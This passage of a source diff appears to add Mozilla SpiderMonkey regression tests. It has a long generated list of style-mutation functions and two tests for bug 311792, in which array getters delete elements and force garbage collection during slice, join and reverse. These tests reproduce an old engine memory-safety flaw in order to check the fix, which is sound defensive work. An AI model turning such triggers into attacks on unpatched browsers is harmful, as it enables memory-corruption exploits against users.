+{origCount:1055, fun:(function anonymous() {allElements[7].style.width = "20em";})},
+{origCount:1056, fun:(function anonymous() {allElements[0].style.height = "100px";})},
+{origCount:1057, fun:(function anonymous() {allElements[10].style.clear = "none";})},
+{origCount:1058, fun:(function anonymous() {allElements[2].style.width = "10%";})},
+{origCount:1059, fun:(function anonymous() {allElements[9].style.visibility = "collapse";})},
+{origCount:1060, fun:(function anonymous() {allElements[10].style.display = "-moz-inline-box";})},
+{origCount:1061, fun:(function anonymous() {allElements[10].style.height = "200%";})},
+{origCount:1062, fun:(function anonymous() {allElements[1].style.background = "url(http://www.google.com/images/logo_sm.gif)";})},
+{origCount:1063, fun:(function anonymous() {allElements[3].style.clear = "right";})},
+{origCount:1064, fun:(function anonymous() {allElements[7].style.overflow = "auto";})},
+{origCount:1065, fun:(function anonymous() {allElements[6].style.visibility = "visible";})},
+{origCount:1066, fun:(function anonymous() {allElements[5].style['float'] = "right";})},
+{origCount:1067, fun:(function anonymous() {allElements[11].style.height = "200%";})},
+{origCount:1068, fun:(function anonymous() {allElements[1].style.position = "static";})},
+{origCount:1069, fun:(function anonymous() {allElements[8].style.clear = "none";})},
+{origCount:1070, fun:(function anonymous() {allElements[11].style.display = "-moz-groupbox";})},
+{origCount:1071, fun:(function anonymous() {allElements[2].style.visibility = "visible";})},
+{origCount:1072, fun:(function anonymous() {allElements[0].style.background = "transparent";})},
+{origCount:1073, fun:(function anonymous() {allElements[10].style.width = "auto";})},
+{origCount:1074, fun:(function anonymous() {allElements[12].style.clear = "right";})},
+{origCount:1075, fun:(function anonymous() {allElements[12].style['float'] = "right";})},
+{origCount:1076, fun:(function anonymous() {allElements[0].style.width = "200%";})},
+{origCount:1077, fun:(function anonymous() {allElements[10].style.clear = "left";})},
+{origCount:1078, fun:(function anonymous() {allElements[7].style.display = "-moz-deck";})},
+{origCount:1079, fun:(function anonymous() {allElements[9].style.color = "green";})},
+{origCount:1080, fun:(function anonymous() {allElements[10].style.color = "black";})},
+{origCount:1081, fun:(function anonymous() {allElements[1].style.width = "200%";})},
+{origCount:1082, fun:(function anonymous() {allElements[2].style.position = "fixed";})},
+{origCount:1083, fun:(function anonymous() {allElements[3].style.height = "100px";})},
+{origCount:1084, fun:(function anonymous() {allElements[12].style.background = "#fcd";})},
+{origCount:1085, fun:(function anonymous() {allElements[7].style.visibility = "collapse";})},
+{origCount:1086, fun:(function anonymous() {allElements[6].style.clear = "both";})},
+{origCount:1087, fun:(function anonymous() {allElements[3].style.overflow = "visible";})},
+{origCount:1088, fun:(function anonymous() {allElements[2].style.width = "10%";})},
+{origCount:1089, fun:(function anonymous() {allElements[9].style.color = "red";})},
+{origCount:1090, fun:(function anonymous() {allElements[3].style.display = "-moz-inline-box";})},
+{origCount:1091, fun:(function anonymous() {allElements[4].style['float'] = "right";})},
+{origCount:1092, fun:(function anonymous() {allElements[2].style.overflow = "visible";})},
+{origCount:1093, fun:(function anonymous() {allElements[4].style.clear = "none";})},
+{origCount:1094, fun:(function anonymous() {allElements[1].style.display = "table-row";})},
+{origCount:1095, fun:(function anonymous() {allElements[1].style.display = "-moz-deck";})},
+{origCount:1096, fun:(function anonymous() {allElements[7].style.overflow = "visible";})},
+{origCount:1097, fun:(function anonymous() {allElements[12].style.color = "black";})},
+{origCount:1098, fun:(function anonymous() {allElements[9].style.width = "20em";})},
+{origCount:1099, fun:(function anonymous() {allElements[3].style.color = "green";})},
+{origCount:1100, fun:(function anonymous() {allElements[0].style.overflow = "auto";})},
+{origCount:1101, fun:(function anonymous() {allElements[4].style.background = "#fcd";})},
+{origCount:1102, fun:(function anonymous() {allElements[9].style.background = "#fcd";})},
+{origCount:1103, fun:(function anonymous() {allElements[7].style.clear = "none";})},
+{origCount:1104, fun:(function anonymous() {allElements[2].style['float'] = "none";})},
+{origCount:1105, fun:(function anonymous() {allElements[2].style.clear = "none";})},
+{origCount:1106, fun:(function anonymous() {allElements[10].style.color = "blue";})},
+{origCount:1107, fun:(function anonymous() {allElements[7].style.clear = "none";})},
+{origCount:1108, fun:(function anonymous() {allElements[10].style.height = "10%";})},
+{origCount:1109, fun:(function anonymous() {allElements[0].style.overflow = "scroll";})},
+{origCount:1110, fun:(function anonymous() {allElements[7].style.display = "-moz-grid-group";})},
+{origCount:1111, fun:(function anonymous() {allElements[12].style.overflow = "visible";})},
+{origCount:1112, fun:(function anonymous() {allElements[6].style.width = "20em";})},
+{origCount:1113, fun:(function anonymous() {allElements[8].style.overflow = "auto";})},
+{origCount:1114, fun:(function anonymous() {allElements[10].style['float'] = "none";})},
+{origCount:1115, fun:(function anonymous() {allElements[5].style.width = "auto";})},
+{origCount:1116, fun:(function anonymous() {allElements[11].style.display = "table-caption";})},
+{origCount:1117, fun:(function anonymous() {allElements[8].style.width = "200%";})},
+{origCount:1118, fun:(function anonymous() {allElements[1].style.width = "1px";})},
+{origCount:1119, fun:(function anonymous() {allElements[8].style.background = "transparent";})},
+{origCount:1120, fun:(function anonymous() {allElements[9].style['float'] = "none";})},
+{origCount:1121, fun:(function anonymous() {allElements[9].style['float'] = "none";})},
+{origCount:1122, fun:(function anonymous() {allElements[1].style.display = "list-item";})},
+{origCount:1123, fun:(function anonymous() {allElements[3].style['float'] = "none";})},
+{origCount:1124, fun:(function anonymous() {allElements[8].style.background = "url(http://www.google.com/images/logo_sm.gif)";})},
+{origCount:1125, fun:(function anonymous() {allElements[7].style.height = "auto";})},
+{origCount:1126, fun:(function anonymous() {allElements[7].style.height = "10%";})},
+{origCount:1127, fun:(function anonymous() {allElements[0].style.display = "-moz-inline-box";})},
+{origCount:1128, fun:(function anonymous() {allElements[3].style.clear = "right";})},
+{origCount:1129, fun:(function anonymous() {allElements[11].style.clear = "left";})},
+{origCount:1130, fun:(function anonymous() {allElements[1].style.color = "black";})},
+{origCount:1131, fun:(function anonymous() {allElements[5].style['float'] = "none";})},
+{origCount:1132, fun:(function anonymous() {allElements[4].style.width = "10%";})},
+{origCount:1133, fun:(function anonymous() {allElements[2].style.display = "-moz-grid";})},
+{origCount:1134, fun:(function anonymous() {allElements[4].style.height = "100px";})},
+{origCount:1135, fun:(function anonymous() {allElements[4].style.clear = "both";})},
+{origCount:1136, fun:(function anonymous() {allElements[6].style.position = "static";})},
+{origCount:1137, fun:(function anonymous() {allElements[2].style['float'] = "left";})},
+{origCount:1138, fun:(function anonymous() {allElements[0].style.overflow = "scroll";})},
+{origCount:1139, fun:(function anonymous() {allElements[3].style.display = "table-cell";})},
+{origCount:1140, fun:(function anonymous() {allElements[4].style.color = "blue";})},
+{origCount:1141, fun:(function anonymous() {allElements[9].style.clear = "left";})},
+{origCount:1142, fun:(function anonymous() {allElements[9].style.clear = "none";})},
+{origCount:1143, fun:(function anonymous() {allElements[11].style['float'] = "left";})},
+{origCount:1144, fun:(function anonymous() {allElements[7].style.display = "-moz-inline-block";})},
+{origCount:1145, fun:(function anonymous() {allElements[3].style.clear = "none";})},
+{origCount:1146, fun:(function anonymous() {allElements[2].style.visibility = "collapse";})},
+{origCount:1147, fun:(function anonymous() {allElements[12].style['float'] = "none";})},
+{origCount:1148, fun:(function anonymous() {allElements[12].style.background = "transparent";})},
+{origCount:1149, fun:(function anonymous() {allElements[6].style.width = "1px";})},
+{origCount:1150, fun:(function anonymous() {allElements[1].style.width = "10%";})},
+{origCount:1151, fun:(function anonymous() {allElements[1].style['float'] = "none";})},
+{origCount:1152, fun:(function anonymous() {allElements[0].style.width = "1px";})},
+{origCount:1153, fun:(function anonymous() {allElements[2].style.width = "20em";})},
+{origCount:1154, fun:(function anonymous() {allElements[0].style.display = "-moz-popup";})},
+{origCount:1155, fun:(function anonymous() {allElements[0].style.color = "red";})},
+{origCount:1156, fun:(function anonymous() {allElements[6].style.visibility = "visible";})},
+{origCount:1157, fun:(function anonymous() {allElements[12].style.background = "#fcd";})},
+{origCount:1158, fun:(function anonymous() {allElements[9].style.visibility = "hidden";})},
+{origCount:1159, fun:(function anonymous() {allElements[4].style.overflow = "scroll";})},
+{origCount:1160, fun:(function anonymous() {allElements[1].style.background = "url(http://www.google.com/images/logo_sm.gif)";})},
+{origCount:1161, fun:(function anonymous() {allElements[6].style.display = "block";})},
+{origCount:1162, fun:(function anonymous() {allElements[11].style.background = "#fcd";})},
+{origCount:1163, fun:(function anonymous() {allElements[9].style.visibility = "collapse";})},
+{origCount:1164, fun:(function anonymous() {allElements[5].style.background = "#fcd";})},
+{origCount:1165, fun:(function anonymous() {allElements[4].style.clear = "left";})},
+{origCount:1166, fun:(function anonymous() {allElements[0].style['float'] = "right";})},
+{origCount:1167, fun:(function anonymous() {allElements[10].style.width = "200%";})},
+{origCount:1168, fun:(function anonymous() {allElements[1].style['float'] = "left";})},
+{origCount:1169, fun:(function anonymous() {allElements[4].style.height = "auto";})},
+{origCount:1170, fun:(function anonymous() {allElements[12].style['float'] = "right";})},
+{origCount:1171, fun:(function anonymous() {allElements[4].style.color = "blue";})},
+{origCount:1172, fun:(function anonymous() {allElements[11].style.visibility = "visible";})},
+{origCount:1173, fun:(function anonymous() {allElements[1].style.position = "absolute";})},
+{origCount:1174, fun:(function anonymous() {allElements[3].style.visibility = "visible";})},
+{origCount:1175, fun:(function anonymous() {allElements[12].style.position = "fixed";})},
+{origCount:1176, fun:(function anonymous() {allElements[5].style.display = "table-column-group";})},
+{origCount:1177, fun:(function anonymous() {allElements[2].style.clear = "right";})},
+{origCount:1178, fun:(function anonymous() {allElements[9].style.overflow = "hidden";})},
+{origCount:1179, fun:(function anonymous() {allElements[3].style.width = "20em";})},
+{origCount:1180, fun:(function anonymous() {allElements[4].style.position = "relative";})},
+{origCount:1181, fun:(function anonymous() {allElements[5].style.width = "20em";})},
+{origCount:1182, fun:(function anonymous() {allElements[10].style.visibility = "visible";})},
+{origCount:1183, fun:(function anonymous() {allElements[0].style.overflow = "scroll";})},
+{origCount:1184, fun:(function anonymous() {allElements[5].style.color = "red";})},
+{origCount:1185, fun:(function anonymous() {allElements[4].style.clear = "right";})},
+{origCount:1186, fun:(function anonymous() {allElements[5].style.overflow = "hidden";})},
+{origCount:1187, fun:(function anonymous() {allElements[10].style.clear = "none";})},
+{origCount:1188, fun:(function anonymous() {allElements[1].style.position = "fixed";})},
+{origCount:1189, fun:(function anonymous() {allElements[9].style.width = "1px";})},
+{origCount:1190, fun:(function anonymous() {allElements[0].style.color = "blue";})},
+{origCount:1191, fun:(function anonymous() {allElements[5].style.position = "static";})},
+{origCount:1192, fun:(function anonymous() {allElements[4].style.overflow = "hidden";})},
+{origCount:1193, fun:(function anonymous() {allElements[2].style.position = "relative";})},
+{origCount:1194, fun:(function anonymous() {allElements[4].style.position = "absolute";})},
+{origCount:1195, fun:(function anonymous() {allElements[4].style['float'] = "none";})},
+{origCount:1196, fun:(function anonymous() {allElements[7].style.color = "black";})},
+{origCount:1197, fun:(function anonymous() {allElements[4].style.color = "blue";})},
+{origCount:1198, fun:(function anonymous() {allElements[1].style.position = "absolute";})},
+{origCount:1199, fun:(function anonymous() {allElements[5].style.overflow = "scroll";})},
+{origCount:1200, fun:(function anonymous() {allElements[6].style.visibility = "visible";})},
+{origCount:1201, fun:(function anonymous() {allElements[11].style.clear = "right";})},
+{origCount:1202, fun:(function anonymous() {allElements[12].style.position = "static";})},
+{origCount:1203, fun:(function anonymous() {allElements[2].style.background = "url(http://www.google.com/images/logo_sm.gif)";})},
+{origCount:1204, fun:(function anonymous() {allElements[11].style.visibility = "hidden";})},
+{origCount:1205, fun:(function anonymous() {allElements[7].style.color = "red";})},
+{origCount:1206, fun:(function anonymous() {allElements[7].style.clear = "right";})},
+{origCount:1207, fun:(function anonymous() {allElements[4].style.clear = "none";})},
+{origCount:1208, fun:(function anonymous() {allElements[4].style.display = "list-item";})},
+{origCount:1209, fun:(function anonymous() {allElements[12].style.background = "transparent";})},
+{origCount:1210, fun:(function anonymous() {allElements[7].style['float'] = "left";})},
+{origCount:1211, fun:(function anonymous() {allElements[8].style.color = "red";})},
+{origCount:1212, fun:(function anonymous() {allElements[7].style.width = "20em";})},
+{origCount:1213, fun:(function anonymous() {allElements[9].style.clear = "right";})},
+{origCount:1214, fun:(function anonymous() {allElements[8].style.height = "100px";})},
+{origCount:1215, fun:(function anonymous() {allElements[8].style.color = "red";})},
+{origCount:1216, fun:(function anonymous() {allElements[2].style.background = "url(http://www.google.com/images/logo_sm.gif)";})},
+{origCount:1217, fun:(function anonymous() {allElements[8].style.overflow = "auto";})},
+{origCount:1218, fun:(function anonymous() {allElements[5].style.position = "relative";})},
+{origCount:1219, fun:(function anonymous() {allElements[0].style['float'] = "left";})},
+{origCount:1220, fun:(function anonymous() {allElements[10].style.overflow = "visible";})},
+{origCount:1221, fun:(function anonymous() {allElements[3].style.overflow = "visible";})},
+{origCount:1222, fun:(function anonymous() {allElements[8].style.visibility = "hidden";})},
+{origCount:1223, fun:(function anonymous() {allElements[6].style.visibility = "hidden";})},
+{origCount:1224, fun:(function anonymous() {allElements[3].style['float'] = "right";})},
+{origCount:1225, fun:(function anonymous() {allElements[3].style.width = "1px";})},
+{origCount:1226, fun:(function anonymous() {allElements[12].style['float'] = "left";})},
+{origCount:1227, fun:(function anonymous() {allElements[9].style.display = "list-item";})},
+{origCount:1228, fun:(function anonymous() {allElements[1].style.width = "20em";})},
+{origCount:1229, fun:(function anonymous() {allElements[4].style['float'] = "left";})},
+{origCount:1230, fun:(function anonymous() {allElements[12].style.overflow = "auto";})},
+{origCount:1231, fun:(function anonymous() {allElements[5].style.overflow = "hidden";})},
+{origCount:1232, fun:(function anonymous() {allElements[12].style.overflow = "auto";})},
+{origCount:1233, fun:(function anonymous() {allElements[2].style.height = "2em";})},
+{origCount:1234, fun:(function anonymous() {allElements[5].style.display = "table-cell";})},
+{origCount:1235, fun:(function anonymous() {allElements[1].style.background = "#fcd";})},
+{origCount:1236, fun:(function anonymous() {allElements[8].style.height = "200%";})},
+{origCount:1237, fun:(function anonymous() {allElements[5].style.clear = "both";})},
+{origCount:1238, fun:(function anonymous() {allElements[12].style.height = "auto";})},
+{origCount:1239, fun:(function anonymous() {allElements[7].style.overflow = "auto";})},
+{origCount:1240, fun:(function anonymous() {allElements[8].style.overflow = "auto";})},
+{origCount:1241, fun:(function anonymous() {allElements[9].style.visibility = "visible";})},
+{origCount:1242, fun:(function anonymous() {allElements[2].style.display = "-moz-deck";})},
+{origCount:1243, fun:(function anonymous() {allElements[5].style.color = "black";})},
+{origCount:1244, fun:(function anonymous() {allElements[10].style.clear = "none";})},
+{origCount:1245, fun:(function anonymous() {allElements[10].style['float'] = "right";})},
+{origCount:1246, fun:(function anonymous() {allElements[11].style.width = "20em";})},
+{origCount:1247, fun:(function anonymous() {allElements[4].style.background = "#fcd";})},
+{origCount:1248, fun:(function anonymous() {allElements[8].style.position = "fixed";})},
+{origCount:1249, fun:(function anonymous() {allElements[3].style.clear = "both";})},
+{origCount:1250, fun:(function anonymous() {allElements[7].style.visibility = "collapse";})},
+{origCount:1251, fun:(function anonymous() {allElements[0].style.overflow = "visible";})},
+{origCount:1252, fun:(function anonymous() {allElements[12].style.height = "100px";})},
+{origCount:1253, fun:(function anonymous() {allElements[10].style.clear = "right";})},
+{origCount:1254, fun:(function anonymous() {allElements[0].style.overflow = "hidden";})},
+{origCount:1255, fun:(function anonymous() {allElements[1].style.overflow = "hidden";})},
+{origCount:1256, fun:(function anonymous() {allElements[3].style.position = "static";})},
+{origCount:1257, fun:(function anonymous() {allElements[1].style.width = "10%";})},
+{origCount:1258, fun:(function anonymous() {allElements[12].style['float'] = "right";})},
+{origCount:1259, fun:(function anonymous() {allElements[3].style.overflow = "auto";})},
+{origCount:1260, fun:(function anonymous() {allElements[4].style.color = "green";})},
+{origCount:1261, fun:(function anonymous() {allElements[10].style.width = "auto";})},
+{origCount:1262, fun:(function anonymous() {allElements[11].style.overflow = "hidden";})},
+{origCount:1263, fun:(function anonymous() {allElements[1].style.clear = "none";})},
+{origCount:1264, fun:(function anonymous() {allElements[11].style['float'] = "right";})},
+{origCount:1265, fun:(function anonymous() {allElements[7].style.background = "url(http://www.google.com/images/logo_sm.gif)";})},
+{origCount:1266, fun:(function anonymous() {allElements[7].style.overflow = "visible";})},
+{origCount:1267, fun:(function anonymous() {allElements[5].style['float'] = "left";})},
+{origCount:1268, fun:(function anonymous() {allElements[5].style.position = "fixed";})},
+{origCount:1269, fun:(function anonymous() {allElements[0].style.visibility = "hidden";})},
+{origCount:1270, fun:(function anonymous() {allElements[9].style.height = "100px";})},
+{origCount:1271, fun:(function anonymous() {allElements[10].style.height = "200%";})},
+{origCount:1272, fun:(function anonymous() {allElements[9].style.position = "absolute";})},
+{origCount:1273, fun:(function anonymous() {allElements[12].style.clear = "both";})},
+{origCount:1274, fun:(function anonymous() {allElements[11].style.visibility = "visible";})},
+{origCount:1275, fun:(function anonymous() {allElements[11].style.position = "fixed";})},
+{origCount:1276, fun:(function anonymous() {allElements[6].style.width = "20em";})},
+{origCount:1277, fun:(function anonymous() {allElements[12].style.height = "200%";})},
+{origCount:1278, fun:(function anonymous() {allElements[10].style.display = "list-item";})},
+{origCount:1279, fun:(function anonymous() {allElements[5].style.clear = "left";})},
+{origCount:1280, fun:(function anonymous() {allElements[3].style.clear = "left";})},
+{origCount:1281, fun:(function anonymous() {allElements[8].style.position = "fixed";})},
+{origCount:1282, fun:(function anonymous() {allElements[1].style.overflow = "auto";})},
+{origCount:1283, fun:(function anonymous() {allElements[0].style.height = "10%";})},
+{origCount:1284, fun:(function anonymous() {allElements[10].style['float'] = "right";})},
+{origCount:1285, fun:(function anonymous() {allElements[10].style.clear = "both";})},
+{origCount:1286, fun:(function anonymous() {allElements[7].style.background = "transparent";})},
+{origCount:1287, fun:(function anonymous() {allElements[4].style.visibility = "visible";})},
+{origCount:1288, fun:(function anonymous() {allElements[9].style.display = "-moz-box";})},
+{origCount:1289, fun:(function anonymous() {allElements[0].style.width = "auto";})},
+{origCount:1290, fun:(function anonymous() {allElements[8].style.color = "black";})},
+{origCount:1291, fun:(function anonymous() {allElements[1].style['float'] = "right";})},
+{origCount:1292, fun:(function anonymous() {allElements[9].style.position = "relative";})},
+{origCount:1293, fun:(function anonymous() {allElements[12].style.clear = "none";})},
+{origCount:1294, fun:(function anonymous() {allElements[3].style.width = "1px";})},
+{origCount:1295, fun:(function anonymous() {allElements[12].style.color = "red";})},
+{origCount:1296, fun:(function anonymous() {allElements[6].style.display = "-moz-inline-block";})},
+{origCount:1297, fun:(function anonymous() {allElements[4].style.width = "10%";})},
+{origCount:1298, fun:(function anonymous() {allElements[11].style.height = "2em";})},
+{origCount:1299, fun:(function anonymous() {allElements[6].style.height = "2em";})},
+{origCount:1300, fun:(function anonymous() {allElements[8].style.visibility = "collapse";})},
+{origCount:1301, fun:(function anonymous() {allElements[9].style.position = "absolute";})},
+{origCount:1302, fun:(function anonymous() {allElements[2].style.color = "green";})},
+{origCount:1303, fun:(function anonymous() {allElements[5].style.overflow = "auto";})},
+{origCount:1304, fun:(function anonymous() {allElements[11].style.visibility = "collapse";})},
+{origCount:1305, fun:(function anonymous() {allElements[12].style.color = "black";})},
+{origCount:1306, fun:(function anonymous() {allElements[12].style.background = "transparent";})},
+{origCount:1307, fun:(function anonymous() {allElements[6].style['float'] = "left";})},
+{origCount:1308, fun:(function anonymous() {allElements[11].style['float'] = "right";})},
+{origCount:1309, fun:(function anonymous() {allElements[6].style.clear = "none";})},
+{origCount:1310, fun:(function anonymous() {allElements[10].style.background = "url(http://www.google.com/images/logo_sm.gif)";})},
+{origCount:1311, fun:(function anonymous() {allElements[3].style.display = "-moz-grid-group";})},
+{origCount:1312, fun:(function anonymous() {allElements[3].style['float'] = "right";})},
+{origCount:1313, fun:(function anonymous() {allElements[2].style.color = "blue";})},
+{origCount:1314, fun:(function anonymous() {allElements[5].style.visibility = "hidden";})},
+{origCount:1315, fun:(function anonymous() {allElements[6].style.background = "transparent";})},
+{origCount:1316, fun:(function anonymous() {allElements[9].style['float'] = "right";})},
+{origCount:1317, fun:(function anonymous() {allElements[7].style.background = "#fcd";})},
+{origCount:1318, fun:(function anonymous() {allElements[5].style.visibility = "collapse";})},
+{origCount:1319, fun:(function anonymous() {allElements[9].style.clear = "both";})},
+{origCount:1320, fun:(function anonymous() {allElements[11].style.color = "green";})},
+{origCount:1321, fun:(function anonymous() {allElements[4].style.clear = "none";})},
+{origCount:1322, fun:(function anonymous() {allElements[6].style.display = "-moz-deck";})},
+{origCount:1323, fun:(function anonymous() {allElements[9].style.clear = "none";})},
+{origCount:1324, fun:(function anonymous() {allElements[6].style.position = "static";})},
+{origCount:1325, fun:(function anonymous() {allElements[2].style.overflow = "scroll";})},
+{origCount:1326, fun:(function anonymous() {allElements[3].style.background = "transparent";})},
+{origCount:1327, fun:(function anonymous() {allElements[1].style.overflow = "auto";})},
+{origCount:1328, fun:(function anonymous() {allElements[2].style.visibility = "hidden";})},
+{origCount:1329, fun:(function anonymous() {allElements[10].style.overflow = "hidden";})},
+{origCount:1330, fun:(function anonymous() {allElements[6].style.overflow = "visible";})},
+{origCount:1331, fun:(function anonymous() {allElements[8].style.width = "auto";})},
+{origCount:1332, fun:(function anonymous() {allElements[7].style.width = "200%";})},
+{origCount:1333, fun:(function anonymous() {allElements[11].style.width = "200%";})},
+{origCount:1334, fun:(function anonymous() {allElements[10].style.visibility = "collapse";})},
+{origCount:1335, fun:(function anonymous() {allElements[11].style.background = "transparent";})},
+{origCount:1336, fun:(function anonymous() {allElements[5].style.overflow = "visible";})},
+{origCount:1337, fun:(function anonymous() {allElements[12].style['float'] = "right";})},
+{origCount:1338, fun:(function anonymous() {allElements[10].style.background = "#fcd";})},
+{origCount:1339, fun:(function anonymous() {allElements[6].style['float'] = "right";})},
+{origCount:1340, fun:(function anonymous() {allElements[4].style.visibility = "visible";})},
+{origCount:1341, fun:(function anonymous() {allElements[10].style.height = "auto";})},
+{origCount:1342, fun:(function anonymous() {allElements[3].style.position = "static";})},
+{origCount:1343, fun:(function anonymous() {allElements[2].style.display = "-moz-box";})},
+{origCount:1344, fun:(function anonymous() {allElements[12].style.color = "red";})},
+{origCount:1345, fun:(function anonymous() {allElements[0].style.clear = "none";})},
+{origCount:1346, fun:(function anonymous() {allElements[10].style.clear = "left";})},
+{origCount:1347, fun:(function anonymous() {allElements[8].style['float'] = "none";})},
+{origCount:1348, fun:(function anonymous() {allElements[0].style.visibility = "collapse";})},
+{origCount:1349, fun:(function anonymous() {allElements[4].style.visibility = "hidden";})},
+{origCount:1350, fun:(function anonymous() {allElements[0].style.position = "absolute";})},
+{origCount:1351, fun:(function anonymous() {allElements[6].style.display = "-moz-grid-group";})},
+{origCount:1352, fun:(function anonymous() {allElements[1].style.height = "100px";})},
+{origCount:1353, fun:(function anonymous() {allElements[5].style['float'] = "none";})},
+{origCount:1354, fun:(function anonymous() {allElements[9].style['float'] = "none";})},
+{origCount:1355, fun:(function anonymous() {allElements[5].style.display = "table-footer-group";})},
+{origCount:1356, fun:(function anonymous() {allElements[0].style.clear = "both";})},
+{origCount:1357, fun:(function anonymous() {allElements[11].style.clear = "none";})},
+{origCount:1358, fun:(function anonymous() {allElements[5].style.color = "green";})},
+{origCount:1359, fun:(function anonymous() {allElements[1].style['float'] = "left";})},
+{origCount:1360, fun:(function anonymous() {allElements[3].style.background = "#fcd";})},
+{origCount:1361, fun:(function anonymous() {allElements[5].style.display = "block";})},
+{origCount:1362, fun:(function anonymous() {allElements[11].style.width = "1px";})},
+{origCount:1363, fun:(function anonymous() {allElements[2].style['float'] = "right";})},
+{origCount:1364, fun:(function anonymous() {allElements[8].style.display = "table-column";})},
+{origCount:1365, fun:(function anonymous() {allElements[9].style.width = "20em";})},
+{origCount:1366, fun:(function anonymous() {allElements[10].style.visibility = "visible";})},
+{origCount:1367, fun:(function anonymous() {allElements[4].style['float'] = "none";})},
+{origCount:1368, fun:(function anonymous() {allElements[9].style.visibility = "hidden";})},
+{origCount:1369, fun:(function anonymous() {allElements[5].style.width = "200%";})},
+{origCount:1370, fun:(function anonymous() {allElements[9].style.background = "transparent";})},
+{origCount:1371, fun:(function anonymous() {allElements[2].style.color = "red";})},
+{origCount:1372, fun:(function anonymous() {allElements[2].style.width = "auto";})},
+{origCount:1373, fun:(function anonymous() {allElements[1].style.background = "#fcd";})},
+{origCount:1374, fun:(function anonymous() {allElements[5].style.width = "10%";})},
+{origCount:1375, fun:(function anonymous() {allElements[6].style.overflow = "visible";})},
+{origCount:1376, fun:(function anonymous() {allElements[10].style.display = "-moz-inline-block";})},
+{origCount:1377, fun:(function anonymous() {allElements[8].style.visibility = "collapse";})},
+{origCount:1378, fun:(function anonymous() {allElements[7].style.display = "inline";})},
+{origCount:1379, fun:(function anonymous() {allElements[11].style.position = "fixed";})},
+{origCount:1380, fun:(function anonymous() {allElements[1].style.display = "-moz-stack";})},
+{origCount:1381, fun:(function anonymous() {allElements[7].style.clear = "left";})},
+{origCount:1382, fun:(function anonymous() {allElements[9].style.overflow = "auto";})},
+{origCount:1383, fun:(function anonymous() {allElements[0].style.height = "10%";})},
+{origCount:1384, fun:(function anonymous() {allElements[10].style.overflow = "scroll";})},
+{origCount:1385, fun:(function anonymous() {allElements[7].style.height = "100px";})},
+{origCount:1386, fun:(function anonymous() {allElements[8].style.overflow = "auto";})},
+{origCount:1387, fun:(function anonymous() {allElements[6].style.background = "#fcd";})},
+{origCount:1388, fun:(function anonymous() {allElements[7].style.width = "auto";})},
+{origCount:1389, fun:(function anonymous() {allElements[3].style.position = "relative";})},
+{origCount:1390, fun:(function anonymous() {allElements[12].style.width = "10%";})},
+{origCount:1391, fun:(function anonymous() {allElements[1].style.position = "absolute";})},
+{origCount:1392, fun:(function anonymous() {allElements[1].style.background = "url(http://www.google.com/images/logo_sm.gif)";})},
+{origCount:1393, fun:(function anonymous() {allElements[5].style.clear = "left";})},
+{origCount:1394, fun:(function anonymous() {allElements[4].style['float'] = "left";})},
+{origCount:1395, fun:(function anonymous() {allElements[6].style.width = "20em";})},
+{origCount:1396, fun:(function anonymous() {allElements[0].style.height = "200%";})},
+{origCount:1397, fun:(function anonymous() {allElements[8].style.width = "200%";})},
+{origCount:1398, fun:(function anonymous() {allElements[6].style.height = "auto";})},
+{origCount:1399, fun:(function anonymous() {allElements[2].style.overflow = "scroll";})},
+{origCount:1400, fun:(function anonymous() {allElements[1].style.clear = "left";})},
+{origCount:1401, fun:(function anonymous() {allElements[7].style.display = "-moz-box";})},
+{origCount:1402, fun:(function anonymous() {allElements[0].style['float'] = "none";})},
+{origCount:1403, fun:(function anonymous() {allElements[0].style.clear = "none";})},
+{origCount:1404, fun:(function anonymous() {allElements[10].style.height = "100px";})},
+{origCount:1405, fun:(function anonymous() {allElements[11].style.width = "20em";})},
+{origCount:1406, fun:(function anonymous() {allElements[9].style.clear = "both";})},
+{origCount:1407, fun:(function anonymous() {allElements[7].style.position = "static";})},
+{origCount:1408, fun:(function anonymous() {allElements[12].style['float'] = "none";})},
+{origCount:1409, fun:(function anonymous() {allElements[4].style.position = "static";})},
+{origCount:1410, fun:(function anonymous() {allElements[0].style.height = "200%";})},
+{origCount:1411, fun:(function anonymous() {allElements[7].style['float'] = "none";})},
+{origCount:1412, fun:(function anonymous() {allElements[3].style.clear = "none";})},
+{origCount:1413, fun:(function anonymous() {allElements[6].style.color = "green";})},
+{origCount:1414, fun:(function anonymous() {allElements[10].style.height = "200%";})},
+{origCount:1415, fun:(function anonymous() {allElements[7].style.overflow = "visible";})}
+
+ ];
+
+
+var output = eval(commands.toSource().replace(/anonymous/g,"")).toSource().replace( /\)\},/g , ")},\n");
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/extensions/regress-311792-01.js b/js/src/tests/non262/extensions/regress-311792-01.js
new file mode 100644
index 0000000000..8579b7c933
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-311792-01.js
@@ -0,0 +1,26 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 311792;
+var summary = 'Root Array.prototype methods';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+function index_getter()
+{
+ gc();
+ return 100;
+}
+
+var a = [0, 1];
+a.__defineGetter__(0, index_getter);
+
+a.slice(0, 1).join();
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/extensions/regress-311792-02.js b/js/src/tests/non262/extensions/regress-311792-02.js
new file mode 100644
index 0000000000..3b01415598
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-311792-02.js
@@ -0,0 +1,40 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 311792;
+var summary = 'Root Array.prototype methods';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+var subverted = 0;
+
+function index_getter()
+{
+ delete a[0];
+ gc();
+ for (var i = 0; i != 1 << 14; ++i) {
+ var tmp = new String("test");
+ tmp = null;
+ }
+ return 1;
+}
+
+function index_setter(value)
+{
+ subverted = value;
+}
+
+var a = [ Math.sqrt(2), 0 ];
+a.__defineGetter__(1, index_getter);
+a.__defineSetter__(1, index_setter);
+
+a.reverse();
+printStatus(subverted)
+
+ reportCompare(expect, actual, summary);
